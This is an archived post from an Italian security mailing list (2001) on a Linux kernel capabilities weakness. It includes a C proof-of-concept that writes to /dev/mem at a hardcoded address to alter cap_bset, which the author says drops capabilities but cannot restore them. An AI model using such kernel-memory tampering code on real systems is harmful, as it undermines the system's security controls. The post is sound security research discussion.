
[ Home | Liste | F.A.Q. |
Risorse | Cerca... ]
Archivio: Ottobre 2001 ml@sikurezza.org Soggetto: Kernel capabilities weakness Mittente: Amodiovalerio Verde Data: 6 Oct 2001 17:30:27 -0000
Salve,
non so chi si e' interessato un po delle capabilities, cmq in riferimento ad
una mail inviata su bugtraq risulterebbe possibile un exploit per il
ripristino globale delle capabilities.
http://www.securityfocus.com/cgi-bin/archive.pl?id=1&mid=67143
Ho provato a fare un paio di prove, (non ho scritto ancora la routine per il
parsing del system.map), ma considerate che cap_bset qui è in 0x01f0080.
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
int fd;
unsigned int *buf;
int main(int argc, char *argv[])
{
if ((fd=open("/dev/mem",O_RDWR | O_SYNC ))<0)
{
fprintf(stderr,"Error opening /dev/mem.\n");
exit(1);
}
buf = mmap(0,5000,PROT_READ | PROT_WRITE , MAP_SHARED , fd, 0x01f0000);
if (buf == (void*)-1 )
{
printf("MAP_FAILED with %d\n",errno);
exit(1);
}
printf("Mem config regs mapped at address %p.\n",buf);
buf[0x20] &= 0xFFFFEFF0; /* trying disabling SYS_MODULE */
printf("Value in 0x01f0080 = 0x%08x \n\n",buf[0x20]);
buf[0x20] &= 0xFFFFFFFF; /* try to set capability back */
printf("New value in 0x01f0080 = 0x%08x \n\n",buf[0x20]);
close(fd);
exit(0);
}
Non so se le capabilities siano state modificate ( ma non mi risulta ),
quindi è piu' probabile un mio errore.
Il problema è che a funzionare funziona, solo che riesce solo a droppare le
capabilities ma non a 'rialzarle'.
Mi domando come e' possibile visto che sto provando direttamente a scrivere
in /dev/mem e che non ho trovato
altri riferimenti in memoria a cap_bset.
Qualche idea ???
Amodiovalerio [Hypo] Verde
________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List
[ Home | Liste | F.A.Q. |
Risorse | Cerca... ]
www.sikurezza.org - Italian Security Mailing List
(c) 1999-2005